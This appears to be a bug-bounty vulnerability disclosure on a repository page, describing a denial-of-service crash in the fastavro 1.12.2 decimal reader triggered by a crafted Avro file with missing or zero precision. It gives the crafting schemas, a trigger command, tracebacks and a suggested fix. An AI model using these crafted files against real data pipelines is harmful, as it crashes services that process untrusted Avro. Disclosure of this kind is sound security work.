You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

fastavro decimal logical-type reader DoS β€” unhandled KeyError/ValueError on missing/zero precision

Target: fastavro β€” Python Avro library Affected version tested: fastavro 1.12.2 (latest release at time of writing) Vulnerability class: Uncaught exception / Denial of Service (CWE-248 Uncaught Exception, CWE-20 Improper Input Validation) Attack vector: A crafted, structurally-valid Avro object-container file whose embedded writer schema declares a decimal logical type with a missing or zero precision attribute. Any application that decodes untrusted Avro with fastavro.reader() crashes with an uncaught exception.


Summary

fastavro's decimal logical-type reader trusts the precision value from the (attacker-controlled) writer schema embedded in the Avro container header, with no defensive validation at read time. The schema parser only validates precision under if precision:, so a decimal logicalType whose precision is missing (.get(...) β†’ None, falsy) or explicitly 0 (falsy) passes schema-parse validation. When a record using that field is decoded, the logical-type dispatch invokes the reader with no surrounding try/except, so the exception propagates out of fastavro.reader() iteration and crashes the consuming application.

Two variants:

Variant Schema Exception
1 β€” missing precision {"type":"bytes","logicalType":"decimal","scale":2} KeyError: 'precision'
2 β€” precision: 0 {"type":"bytes","logicalType":"decimal","precision":0,"scale":0} ValueError: valid range for prec is [1, MAX_PREC]

Both the pure-Python and the C-extension read paths are affected.


Root cause

The reader trusts precision unconditionally

fastavro/_logical_readers_py.py (pure-Python), lines 51–60:

def read_decimal(data, writer_schema, reader_schema=None):
    scale = writer_schema.get("scale", 0)
    precision = writer_schema["precision"]          # <-- KeyError if 'precision' absent

    unscaled_datum = int.from_bytes(data, byteorder="big", signed=True)

    with localcontext() as ctx:
        ctx.prec = precision                        # <-- ValueError if precision == 0
        scaled_datum = ctx.create_decimal(unscaled_datum).scaleb(-scale)
    return scaled_datum

The C-extension fastavro/_logical_readers.pyx (lines 50–56) is the identical logic and is the path actually exercised by the shipped wheel:

File "fastavro/_logical_readers.pyx", line 50, in fastavro._logical_readers.read_decimal
File "fastavro/_logical_readers.pyx", line 52, in fastavro._logical_readers.read_decimal   # writer_schema["precision"]
...
File "fastavro/_logical_readers.pyx", line 56, in fastavro._logical_readers.read_decimal   # ctx.prec = precision
  • Variant 1: writer_schema["precision"] is a raw subscript, not .get(). If the schema omits precision, this raises KeyError: 'precision'.
  • Variant 2: Python's decimal.Context.prec setter rejects 0 (valid range is [1, MAX_PREC]), raising ValueError.

The schema parser lets both through

fastavro/_schema_py.py, lines 439–445, validates precision only when it is truthy:

precision = schema.get("precision")
if precision and (precision < 1 or precision > MAX_PRECISION):
    warnings.warn(...)

schema.get("precision") returns None when the key is absent, and an explicit 0 is falsy, so both missing and zero precision skip this validation entirely. The malformed logical type is accepted into the parsed writer schema that lives in the Avro container header.

No guard at dispatch time

fastavro/_read_py.py, lines 660–664, dispatches to the logical reader with no exception handling:

if 'logical_type' in writer_schema:
    fn = LOGICAL_READERS.get(writer_schema['logical_type'])
    if fn:
        return fn(data, writer_schema, reader_schema)   # <-- exception propagates to caller

The exception therefore escapes fastavro.reader() iteration into the application's read loop.

apache-avro is NOT affected the same way

Reference apache-avro 1.12.x emits an IgnoredLogicalType warning and falls back to reading raw bytes when the decimal logical type is invalid, so it does not crash. fastavro is the vulnerable target.


Proof of Concept

build_decimal.py constructs a minimal, structurally-valid Avro object-container by hand (magic Obj\x01, metadata map with avro.schema + avro.codec=null, 16-byte sync marker, one data block containing one record). No third-party encoder is used, so the container framing is fully attacker-controllable and reproducible.

The record declares a single bytes field d with logicalType: "decimal". The record's bytes value is b'\x00\x0a' (unscaled integer 10). Three files are produced:

  • dec_missing_precision.avro β€” decimal logical type with precision omitted
  • dec_precision0.avro β€” decimal logical type with precision: 0
  • dec_valid.avro β€” negative control, precision: 4, scale: 2
# excerpt β€” see build_decimal.py for full builder
schemaA = {"type":"record","name":"R","fields":[
    {"name":"d","type":{"type":"bytes","logicalType":"decimal","scale":2}}]}          # missing precision
schemaB = {"type":"record","name":"R","fields":[
    {"name":"d","type":{"type":"bytes","logicalType":"decimal","precision":0,"scale":0}}]}  # precision 0
schemaC = {"type":"record","name":"R","fields":[
    {"name":"d","type":{"type":"bytes","logicalType":"decimal","precision":4,"scale":2}}]}  # valid (control)

Trigger

import fastavro
list(fastavro.reader(open('dec_missing_precision.avro', 'rb')))

Captured evidence (verbatim, fastavro 1.12.2)

$ ./venv/bin/python3 -c "import fastavro; print('fastavro', fastavro.__version__); list(fastavro.reader(open('dec_missing_precision.avro','rb')))"
fastavro 1.12.2
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "fastavro/_read.pyx", line 974, in _iter_avro_records
  File "fastavro/_read.pyx", line 780, in fastavro._read._read_data
  File "fastavro/_read.pyx", line 654, in fastavro._read.read_record
  File "fastavro/_read.pyx", line 802, in fastavro._read._read_data
  File "fastavro/_logical_readers.pyx", line 50, in fastavro._logical_readers.read_decimal
  File "fastavro/_logical_readers.pyx", line 52, in fastavro._logical_readers.read_decimal
KeyError: 'precision'

--- variant 2 (precision:0) ---
  File "fastavro/_logical_readers.pyx", line 50, in fastavro._logical_readers.read_decimal
  File "fastavro/_logical_readers.pyx", line 56, in fastavro._logical_readers.read_decimal
ValueError: valid range for prec is [1, MAX_PREC]

--- NEGATIVE CONTROL ---
dec_valid.avro -> [{'d': Decimal('0.10')}]

The negative control (dec_valid.avro, identical container layout, only precision=4 scale=2) reads cleanly as [{'d': Decimal('0.10')}], proving the hand-built container framing/encoder is correct and that only the precision defect triggers the crash.


Impact

Any service that decodes untrusted/third-party Avro object-container files or streams with fastavro (data pipelines, message consumers, file ingestion, ML feature stores) can be crashed by a single small crafted file (~196 bytes). The exception is not a well-typed, catchable Avro error β€” it is a bare KeyError/ValueError from deep inside the C-extension read path, so naive except handlers that only catch fastavro-specific exceptions will not contain it, and the read loop terminates. This is a denial-of-service primitive.


Suggested fix

At read time in read_decimal, use writer_schema.get("precision") and validate it (>= 1), or have the schema parser reject a decimal logical type whose precision is missing or < 1 instead of only validating under if precision:. Failing gracefully (as apache-avro does β€” warn and fall back to raw bytes) would also close the gap.


Dedup / novelty

Distinct from all other Avro findings by this researcher. Existing HF repos:

  1. huntr-poc-avro-decompression-bomb β€” codec decompression bomb
  2. huntr-poc-avro-fastavro-recursion-dos β€” deep recursion DoS
  3. huntr-poc-avro-blockcount-loop-dos β€” block_count loop DoS
  4. huntr-poc-avro-logicaltype-datetime-overflow-dos β€” DATETIME/timestamp OverflowError only (zero decimal/precision overlap)

This is the decimal logical-type reader β€” a different code path (read_decimal vs read_timestamp_*), a different schema type (bytes/fixed decimal vs long timestamp), different exceptions (KeyError/ValueError vs OverflowError), and a different root cause (unvalidated precision reaching decimal.Context.prec vs unbounded microseconds reaching timedelta). No prior public or private repo covers it. No known CVE covers this specific missing/zero-precision decimal-reader crash in fastavro.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support